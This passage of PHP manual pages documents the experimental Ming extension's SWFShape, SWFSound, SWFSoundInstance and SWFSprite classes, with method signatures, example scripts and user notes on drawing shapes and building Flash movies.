void setLine ( SWFShape $shape )
void setRightFill ( SWFGradient $fill )
}

Table of Contents

  • SWFShape::addFill — Adds a solid fill to the shape
  • SWFShape::__construct — Creates a new shape object
  • SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock
  • SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion
  • SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points
  • SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points
  • SWFShape::drawCurve — Draws a curve (relative)
  • SWFShape::drawCurveTo — Draws a curve
  • SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font
  • SWFShape::drawLine — Draws a line (relative)
  • SWFShape::drawLineTo — Draws a line
  • SWFShape::movePen — Moves the shape's pen (relative)
  • SWFShape::movePenTo — Moves the shape's pen
  • SWFShape::setLeftFill — Sets left rasterizing color
  • SWFShape::setLine — Sets the shape's line style
  • SWFShape::setRightFill — Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.


Adds a solid fill to the shape

  • « SWFShape
  • SWFShape::__construct »
  • PHP Manual
  • SWFShape
  • Adds a solid fill to the shape

SWFShape::addFill

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::addFill — Adds a solid fill to the shape

Description

SWFFill SWFShape::addFill ( int $red , int $green , int $blue [, int $alpha = 255 ] )
SWFFill addFill ( SWFBitmap $bitmap [, int $flags ] )
SWFFill addFill ( SWFGradient $gradient [, int $flags ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

SWFShape::addFill() adds a solid fill to the shape's list of fill styles. SWFShape::addFill() accepts three different types of arguments.

red, green, blue is a color (RGB mode).

The bitmap argument is an SWFBitmap() object. The flags argument can be one of the following values: SWFFILL_CLIPPED_BITMAP, SWFFILL_TILED_BITMAP, SWFFILL_LINEAR_GRADIENT or SWFFILL_RADIAL_GRADIENT. Default is SWFFILL_TILED_BITMAP for SWFBitmap and SWFFILL_LINEAR_GRADIENT for SWFGradient.

The gradient argument is an SWFGradient() object. The flags argument can be one of the following values : SWFFILL_RADIAL_GRADIENT or SWFFILL_LINEAR_GRADIENT. Default is SWFFILL_LINEAR_GRADIENT. I'm sure about this one. Really.

SWFShape::addFill() returns an SWFFill()
object for use with the SWFShape::setLeftFill()
and SWFShape::setRightFill() functions
described below.

Examples

This simple example will draw a frame on a bitmap. Ah, here's another buglet in the flash player- it doesn't seem to care about the second shape's bitmap's transformation in a morph. According to spec, the bitmap should stretch along with the shape in this example..

Example #1 SWFShape::addFill() example

<?php

$p = new SWFMorph();

$b = new SWFBitmap(file_get_contents("alphafill.jpg"));
// use your own bitmap
$width = $b->getWidth();
$height = $b->getHeight();

$s = $p->getShape1();
$f = $s->addFill($b, SWFFILL_TILED_BITMAP);
$f->moveTo(-$width/2, -$height/4);
$f->scaleTo(1.0, 0.5);
$s->setLeftFill($f);
$s->movePenTo(-$width/2, -$height/4);
$s->drawLine($width, 0);
$s->drawLine(0, $height/2);
$s->drawLine(-$width, 0);
$s->drawLine(0, -$height/2);

$s = $p->getShape2();
$f = $s->addFill($b, SWFFILL_TILED_BITMAP);

// these two have no effect!
$f->moveTo(-$width/4, -$height/2);
$f->scaleTo(0.5, 1.0);

$s->setLeftFill($f);
$s->movePenTo(-$width/4, -$height/2);
$s->drawLine($width/2, 0);
$s->drawLine(0, $height);
$s->drawLine(-$width/2, 0);
$s->drawLine(0, -$height);

$m = new SWFMovie();
$m->setDimension($width, $height);
$i = $m->add($p);
$i->moveTo($width/2, $height/2);

for ($n=0; $n<1.001; $n+=0.03) {
    $i->setRatio($n);
    $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

See Also

  • SWFShape::setLeftFill() - Sets left rasterizing color
  • SWFShape::setRightFill() - Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.


Creates a new shape object

  • « SWFShape::addFill
  • SWFShape::drawArc »
  • PHP Manual
  • SWFShape
  • Creates a new shape object

SWFShape::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::__construct — Creates a new shape object

Description

SWFShape::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Created a new SWFShape object.

Examples

This simple example will draw a big red elliptic quadrant.

Example #1 swfshape() example

<?php
$s = new SWFShape();
$s->setLine(40, 0x7f, 0, 0);
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->movePenTo(200, 200);
$s->drawLineTo(6200, 200);
$s->drawLineTo(6200, 4600);
$s->drawCurveTo(200, 4600, 200, 200);

$m = new SWFMovie();
$m->setDimension(6400, 4800);
$m->setRate(12.0);
$m->add($s);
$m->nextFrame();

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock

  • « SWFShape::__construct
  • SWFShape::drawCircle »
  • PHP Manual
  • SWFShape
  • Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock

SWFShape::drawArc

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock

Description

void SWFShape::drawArc ( float $r , float $startAngle , float $endAngle )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFShape::drawCircle() - Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

User Contributed Notes

brad_fisher at gensler dot com 16-Dec-2008 08:57
It seems that the ming library up to at least v0.4.2 has some rounding issues with rendering the arc.  This is most evident as the radius of the arc gets smaller (try drawing a circle/arc with radius 1 using ming, better yet, try 0.5).  The following code renders a much more accurate arc at smaller radii.  It also does range checking/normalization on the angles passed in that ming doesn't do.

<?php

function drawArc( $shape, $r, $startAngle, $endAngle  ) {
    // Normalize the angles
    $delta = $endAngle - $startAngle;
    if ( abs($delta) >= 360)
        $delta = 360;
    else if ($delta < 0)
        $delta += 360;
    else if ($delta == 0)
        return;
    $startAngle = fmod($startAngle, 360);

    /* first determine number of segments, 8 at most */
    $nSegs = 1 + (int)round(7 * ($delta / 360));

    /* subangle is half the angle of each segment */
    $subangle = M_PI * $delta / $nSegs / 360;

    $angle = M_PI * $startAngle / 180;

    $x = $r * sin($angle);
    $y = -$r * cos($angle);

    $shape->movePen($x, $y);

    $controlRadius = $r / cos($subangle);

    for ( $i=0; $i<$nSegs; ++$i )
    {
        $angle += $subangle;
        $controlx = $controlRadius * sin($angle);
        $controly = -$controlRadius * cos($angle);
        $angle += $subangle;
        $anchorx = ($r*sin($angle));
        $anchory = (-$r*cos($angle));

        $shape->drawCurve($controlx-$x, $controly-$y,
                           $anchorx-$controlx, $anchory-$controly);

        $x = $anchorx;
        $y = $anchory;
    }
}

// SWFShape->drawCircle has the same issue with accuracy.  It's a simple thing to use the function above to fix this:
function drawCircle( $shape, $r ) {
    drawArc( $shape, $r, 0, 360 );
}

// EXAMPLE USAGE:

//  Set ming defaults
ming_setScale(20);
ming_useswfversion(7);

$movie = new SWFMovie();
$movie->setBackground( 0xff, 0xff, 0xff );
$movie->setRate(31);

$sprite = new SWFSprite();
$shape = new SWFShape();

// Ming circles (in green)
$shape->setLine( 0, 0, 0xff, 0 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 5 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 3 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 1 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 0.5 );

// Drawn with drawCircle function below (in black)
$shape->setLine( 0, 0, 0, 0 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 5 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 3 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 1 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 0.5 );

$sprite->add($shape);
$sprite->nextFrame();
$d = $movie->add($sprite);
$movie->setDimension( 100, 100 );
$movie->save( "test.swf" );

?>
visual77 at gmail dot com 30-Jul-2008 07:03
After the arc is drawn, the pen does not return to the original coordinate that the arc started on, which is the center of the circle of which the arc is a part. Instead, the pen will remain at the last spot of the arc.

In the case of a full circle, this means the pen will now be at 12 o'clock on the circle after the arc is drawn.

To revert back to the original position after drawing a circle, you can do this...

<?php

$shape = new SWFShape();
$shape->drawArc(5, 0, 360);
$shape->movePen(0, 5);

?>


Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

  • « SWFShape::drawArc
  • SWFShape::drawCubic »
  • PHP Manual
  • SWFShape
  • Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

SWFShape::drawCircle

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

Description

void SWFShape::drawCircle ( float $r )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

PhilipWayne 31-Mar-2009 04:14
<?php
    ming_UseSwfVersion(6);

    $movie = new SWFMovie();
    $movie->setRate(20.000000);
    $movie->setDimension(500, 400);
    $movie->setBackground(0xcc,0xcc,0xcc);

    $circle = new SWFShape();
    $circle->setRightFill(00,66,00);
    $circle->drawCircle(40);
    $sprite = new SWFSprite;
    $sprite->add($circle);
    $sprite->nextFrame();

    $displayitem = $movie->add($sprite);
    $displayitem->setName("Circle");
    $displayitem->moveTo(100,100);

    $movie->add(new SWFAction("Circle.onPress=function(){ this.startDrag('');};
    Circle.onRelease=Circle.onReleaseOuside=function(){stopDrag();};"));

    header("Content-Type: application/x-shockwave-flash");
    $movie->output(1);
?>


Draws a cubic bezier curve using the current position and the three given points as control points

  • « SWFShape::drawCircle
  • SWFShape::drawCubicTo »
  • PHP Manual
  • SWFShape
  • Draws a cubic bezier curve using the current position and the three given points as control points

SWFShape::drawCubic

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points

Description

int SWFShape::drawCubic ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFShape::drawCubicTo() - Draws a cubic bezier curve using the current position and the three given points as control points

User Contributed Notes

Anonymous 19-Nov-2008 03:36
This function creates a simple bow in an Cartesian coordinate system using three points.

$bx: x-coordinate of starting point
$by: y-coordinate of starting point

$cx: x-coordinate of tanget
$cy: y-coordinate of tanget

$dx: x-coordinate of ending point
$dy: y-coordinate of ending point


Draws a cubic bezier curve using the current position and the three given points as control points

  • « SWFShape::drawCubic
  • SWFShape::drawCurve »
  • PHP Manual
  • SWFShape
  • Draws a cubic bezier curve using the current position and the three given points as control points

SWFShape::drawCubicTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points

Description

int SWFShape::drawCubicTo ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFShape::drawCubic() - Draws a cubic bezier curve using the current position and the three given points as control points

User Contributed Notes

There are no user contributed notes for this page.


Draws a curve (relative)

  • « SWFShape::drawCubicTo
  • SWFShape::drawCurveTo »
  • PHP Manual
  • SWFShape
  • Draws a curve (relative)

SWFShape::drawCurve

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCurve — Draws a curve (relative)

Description

int SWFShape::drawCurve ( float $controldx , float $controldy , float $anchordx , float $anchordy [, float $targetdx ], float $targetdy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawcurve() draws a quadratic curve (using the current line style,set by swfshape::setline()) from the current pen position to the relative position (anchorx,anchory) using relative control point (controlx,controly). That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (x+targetdx, x+targetdy) with control points (x+controldx, y+controldy) and (x+anchordx, y+anchordy).

See Also

  • SWFShape::drawCurve()

User Contributed Notes

There are no user contributed notes for this page.


Draws a curve

  • « SWFShape::drawCurve
  • SWFShape::drawGlyph »
  • PHP Manual
  • SWFShape
  • Draws a curve

SWFShape::drawCurveTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCurveTo — Draws a curve

Description

int SWFShape::drawCurveTo ( float $controlx , float $controly , float $anchorx , float $anchory [, float $targetx ], float $targety )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawcurveto() draws a quadratic curve (using the current line style, set by swfshape::setline()) from the current pen position to (anchorx,anchory) using (controlx,controly) as a control point. That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (targetx, targety) with control points (controlx, controly) and (anchorx, anchory).

See Also

  • SWFShape::drawCurveTo()

User Contributed Notes

Chris 30-Jun-2005 09:28
for those new this all this, "anchor" is where you want to end up and "control" is the point you would go to if you were drawing a square.

for example, this would draw a quarter circle
<?php
    $s->movePenTo(100, 100);
    $s->drawLineTo(200, 100);
    $s->drawCurveTo(200, 200, 100, 200);
    $s->drawLineTo(100, 100);
?>


Draws the first character in the given string into the shape using the glyph definition from the given font

  • « SWFShape::drawCurveTo
  • SWFShape::drawLine »
  • PHP Manual
  • SWFShape
  • Draws the first character in the given string into the shape using the glyph definition from the given font

SWFShape::drawGlyph

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font

Description

void SWFShape::drawGlyph ( SWFFont $font , string $character [, int $size ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line (relative)

  • « SWFShape::drawGlyph
  • SWFShape::drawLineTo »
  • PHP Manual
  • SWFShape
  • Draws a line (relative)

SWFShape::drawLine

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawLine — Draws a line (relative)

Description

void SWFShape::drawLine ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawline() draws a line (using the current line style set by swfshape::setline()) from the current pen position to displacement (dx,dy).

Return Values

No value is returned.

See Also

  • SWFShape::drawLineTo() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.


Draws a line

  • « SWFShape::drawLine
  • SWFShape::movePen »
  • PHP Manual
  • SWFShape
  • Draws a line

SWFShape::drawLineTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawLineTo — Draws a line

Description

void SWFShape::drawLineTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() draws a line (using the current line style, set by swfshape::setline()) from the current pen position to point (x,y) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::drawLine() - Draws a line (relative)

User Contributed Notes

lexmanspam at laposte dot net 27-Jul-2005 09:04
If you have the error <<drawlineto(): failed assertion>> :

Ming can't handel drawLineToTo if the distance from the previous point is over 8276.7 pixels (mesured empiriticaly) in the vertical or horizontal axis
 Why ?
Coordinates in SWF are in twips (20 twips = 1 pixel)
 and 2^16 = 65536 = 3276.8 * 20
So we can assume that coordinates of drawLineTo in SWf are relatives to the previous point, and take 16 bits (plus the sign).
Or it can be ming that brings this limitation
These measures have been made with ming_setScale(20.00000000);
This issue doesn't seem to occur with movePenTo

Here's how you can handle this :

<?php
function splitForMing($x1, $y1, $x2, $y2) {
  $res = array();
  $nbSegments =  floor(max(abs($x2 - $x1), abs($y2 - $y1)) / 3276) + 1;
  for($i = 1; $i < $nbSegments ; $i++) { // ($nbSegments - 1) iterations in the loop : the 1st point is assumed to have been already processed ; the last one is already known
            $res[] = array($x1 + ($x2 - $x1) * $i / $nbSegments, $y1 + ($y2 - $y1) * $i / $nbSegments);
  }
  $res[] = array($x2, $y2);
  return $res;
}

ming_setScale(20.00000000);
ming_useswfversion(6); // With ming 0.3
$movie = new SWFMovie();
$movie->setDimension(20000,8000);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(24);

$polygone = new SWFShape();
$polygone->setRightFill($polygone->addFill(0xff, 0, 0));
$polygone->setLine(20, 0x7f, 0, 0);
$polygone->movePenTo(10000, 500); // No split needed for movePenTo
$tmp = splitForMing(10000, 500, 15000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 500, 15000, 5500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 5500, 10000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$polygone->drawLineTo(15000, 15000);
$ajout = $movie->add($polygone);
$ajout->setName("test");
$movie->output();
?>


Moves the shape's pen (relative)

  • « SWFShape::drawLineTo
  • SWFShape::movePenTo »
  • PHP Manual
  • SWFShape
  • Moves the shape's pen (relative)

SWFShape::movePen

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::movePen — Moves the shape's pen (relative)

Description

void SWFShape::movePen ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() move the shape's pen from coordinates (current x,current y) to (current x + dx, current y + dy) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::movePenTo() - Moves the shape's pen

User Contributed Notes

There are no user contributed notes for this page.


Moves the shape's pen

  • « SWFShape::movePen
  • SWFShape::setLeftFill »
  • PHP Manual
  • SWFShape
  • Moves the shape's pen

SWFShape::movePenTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::movePenTo — Moves the shape's pen

Description

void SWFShape::movePenTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() move the shape's pen to (x,y) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::movePen() - Moves the shape's pen (relative)

User Contributed Notes

There are no user contributed notes for this page.


Sets left rasterizing color

  • « SWFShape::movePenTo
  • SWFShape::setLine »
  • PHP Manual
  • SWFShape
  • Sets left rasterizing color

SWFShape::setLeftFill

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::setLeftFill — Sets left rasterizing color

Description

void SWFShape::setLeftFill ( SWFGradient $fill )
void setLeftFill ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

What this nonsense is about is, every edge segment borders at most two fills. When rasterizing the object, it's pretty handy to know what those fills are ahead of time, so the swf format requires these to be specified.

swfshape::setleftfill() sets the fill on the left side of the edge- that is, on the interior if you're defining the outline of the shape in a counter-clockwise fashion. The fill object is an SWFFill object returned from one of the addFill functions above.

This seems to be reversed when you're defining a shape in a morph, though. If your browser crashes, just try setting the fill on the other side.

Shortcut for $swfshape->setleftfill($s->addfill($r, $g, $b [, $a]));.

Return Values

No value is returned.

See Also

  • SWFShape::setRightFill() - Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.


Sets the shape's line style

  • « SWFShape::setLeftFill
  • SWFShape::setRightFill »
  • PHP Manual
  • SWFShape
  • Sets the shape's line style

SWFShape::setLine

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::setLine — Sets the shape's line style

Description

void SWFShape::setLine ( SWFShape $shape )
void setLine ( int $width , int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setline() sets the shape's line style. width is the line's width. If width is 0, the line's style is removed (then, all other arguments are ignored). If width > 0, then line's color is set to red, green, blue. Last parameter a is optional.

You must declare all line styles before you use them (see example).

Return Values

No value is returned.

Examples

This simple example will draw a big "!#%*@", in funny colors and gracious style.

Example #1 swfshape::setline() example

<?php
$s = new SWFShape();
$f1 = $s->addFill(0xff, 0, 0);
$f2 = $s->addFill(0xff, 0x7f, 0);
$f3 = $s->addFill(0xff, 0xff, 0);
$f4 = $s->addFill(0, 0xff, 0);
$f5 = $s->addFill(0, 0, 0xff);

// bug: have to declare all line styles before you use them
$s->setLine(40, 0x7f, 0, 0);
$s->setLine(40, 0x7f, 0x3f, 0);
$s->setLine(40, 0x7f, 0x7f, 0);
$s->setLine(40, 0, 0x7f, 0);
$s->setLine(40, 0, 0, 0x7f);

$f = new SWFFont('Techno.fdb');

$s->setRightFill($f1);
$s->setLine(40, 0x7f, 0, 0);
$s->drawGlyph($f, '!');
$s->movePen($f->getWidth('!'), 0);

$s->setRightFill($f2);
$s->setLine(40, 0x7f, 0x3f, 0);
$s->drawGlyph($f, '#');
$s->movePen($f->getWidth('#'), 0);

$s->setRightFill($f3);
$s->setLine(40, 0x7f, 0x7f, 0);
$s->drawGlyph($f, '%');
$s->movePen($f->getWidth('%'), 0);

$s->setRightFill($f4);
$s->setLine(40, 0, 0x7f, 0);
$s->drawGlyph($f, '*');
$s->movePen($f->getWidth('*'), 0);

$s->setRightFill($f5);
$s->setLine(40, 0, 0, 0x7f);
$s->drawGlyph($f, '@');

$m = new SWFMovie();
$m->setDimension(3000,2000);
$m->setRate(12.0);
$i = $m->add($s);
$i->moveTo(1500-$f->getWidth("!#%*@")/2, 1000+$f->getAscent()/2);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

Return Values

No value is returned.

User Contributed Notes

Brad 04-Oct-2011 09:27
Just wanted to point out that a $width value of 0 does _not_ prevent the line from being drawn.  It causes a non-scaling, single pixel line to be drawn.  This is analogous to the way this is handled in ActionScript (see http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/Graphics.html#lineStyle%28%29)

If you do not want a line to be drawn at all, use NAN for $width instead of zero.


Sets right rasterizing color

  • « SWFShape::setLine
  • SWFSound »
  • PHP Manual
  • SWFShape
  • Sets right rasterizing color

SWFShape::setRightFill

(No version information available, might only be in Git)

SWFShape::setRightFill — Sets right rasterizing color

Description

void SWFShape::setRightFill ( SWFGradient $fill )
void setRightFill ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Shortcut for $swfshape->setrightfill($s->addfill($r, $g, $b [, $a]));.

Return Values

No value is returned.

See Also

  • SWFShape::setLeftFill() - Sets left rasterizing color

User Contributed Notes

There are no user contributed notes for this page.


The SWFSound class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFSound.

Class synopsis

SWFSound {
/* Methods */
__construct ( string $filename [, int $flags = 0 ] )
}

Table of Contents

  • SWFSound::__construct — Returns a new SWFSound object from given file

User Contributed Notes

egonbraun a t gmail d o t c o m 14-Aug-2008 06:52
Just an example of how to use this class. It just cerates a serie of three images with a background sound in each one of them.

<?php
    $movie = new SWFMovie();
    $movie->setRate(1);

    $img1 = new SWFBitmap(fopen('./tmp/img1.jpg', 'rb'));
    $img2 = new SWFBitmap(fopen('./tmp/img2.jpg', 'rb'));
    $img3 = new SWFBitmap(fopen('./tmp/img3.jpg', 'rb'));
    $snd1 = new SWFSound(fopen('./tmp/1.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);
    $snd2 = new SWFSound(fopen('./tmp/2.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);
    $snd3 = new SWFSound(fopen('./tmp/3.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);

    $s = $movie->startSound($snd1);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img1);
    $i->setDepth(1);
    $movie->nextFrame();

    $s = $movie->startSound($snd2);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img2);
    $i->setDepth(2);
    $movie->nextFrame();

    $s = $movie->startSound($snd3);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img3);
    $i->setDepth(3);
    $movie->nextFrame();

    $movie->setBackground(0xff, 0xff, 0xff);
    $movie->setDimension(130, 97);
    $movie->add(new SWFAction("gotoFrame(0); play();"));
    $movie->nextFrame();

    $movie->save("bw.swf");
?>


Returns a new SWFSound object from given file

  • « SWFSound
  • SWFSoundInstance »
  • PHP Manual
  • SWFSound
  • Returns a new SWFSound object from given file

SWFSound::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSound::__construct — Returns a new SWFSound object from given file

Description

SWFSound::__construct ( string $filename [, int $flags = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


The SWFSoundInstance class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFSoundInstance objects are returned by the SWFSprite::startSound() and SWFMovie::startSound() methods.

Class synopsis

SWFSoundInstance {
/* Methods */
void loopCount ( int $point )
void loopInPoint ( int $point )
void loopOutPoint ( int $point )
void noMultiple ( void )
}

Table of Contents

  • SWFSoundInstance::loopCount — Description
  • SWFSoundInstance::loopInPoint — Description
  • SWFSoundInstance::loopOutPoint — Description
  • SWFSoundInstance::noMultiple — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSoundInstance
  • SWFSoundInstance::loopInPoint »
  • PHP Manual
  • SWFSoundInstance
  • Description

SWFSoundInstance::loopCount

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopCount —

Description

void SWFSoundInstance::loopCount ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopOutPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSoundInstance::loopCount
  • SWFSoundInstance::loopOutPoint »
  • PHP Manual
  • SWFSoundInstance
  • Description

SWFSoundInstance::loopInPoint

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopInPoint —

Description

void SWFSoundInstance::loopInPoint ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopOutPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSoundInstance::loopInPoint
  • SWFSoundInstance::noMultiple »
  • PHP Manual
  • SWFSoundInstance
  • Description

SWFSoundInstance::loopOutPoint

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopOutPoint —

Description

void SWFSoundInstance::loopOutPoint ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopInPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « SWFSoundInstance::loopOutPoint
  • SWFSprite »
  • PHP Manual
  • SWFSoundInstance
  • Description

SWFSoundInstance::noMultiple

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::noMultiple —

Description

void SWFSoundInstance::noMultiple ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SWFSprite class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

An SWFSprite is also known as a "movie clip", this allows one to create objects which are animated in their own timelines. Hence, the sprite has most of the same methods as the movie.

Class synopsis

SWFSprite {
/* Methods */
void add ( object $object )
__construct ( void )
void labelFrame ( string $label )
void nextFrame ( void )
void remove ( object $object )
void setFrames ( int $number )
SWFSoundInstance startSound ( SWFSound $sount )
void stopSound ( SWFSound $sount )
}

Table of Contents

  • SWFSprite::add — Adds an object to a sprite
  • SWFSprite::__construct — Creates a movie clip (a sprite)
  • SWFSprite::labelFrame — Labels frame
  • SWFSprite::nextFrame — Moves to the next frame of the animation
  • SWFSprite::remove — Removes an object to a sprite
  • SWFSprite::setFrames — Sets the total number of frames in the animation
  • SWFSprite::startSound — Description
  • SWFSprite::stopSound — Description

User Contributed Notes

o dot marce at free dot fr 03-Oct-2005 09:47
Note that when adding an sprite to a container (sprite or movie), only the object added to the sprite before the addin to the container will be displayed.

<?php
// In this case, myShape will be displayed...
$sp=new SWFSprite();
$container=new SWFSprite();
$sp->add($myShape);
$container->add($sp);

// but not in this case
$sp=new SWFSprite();
$container=new SWFSprite();
$container->add($sp);
$sp->add($myShape);
?>


Adds an object to a sprite

  • « SWFSprite
  • SWFSprite::__construct »
  • PHP Manual
  • SWFSprite
  • Adds an object to a sprite

SWFSprite::add

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::add — Adds an object to a sprite

Description

void SWFSprite::add ( object $object )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::add() adds a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object.

For displayable types (swfshape(),
swfbutton(), swftext(),
swfaction() or swfsprite()),
this returns a handle  to the object in a display list.

Return Values

No value is returned.

User Contributed Notes

php_dev at dunnbypaul dot net 31-Jul-2007 09:33
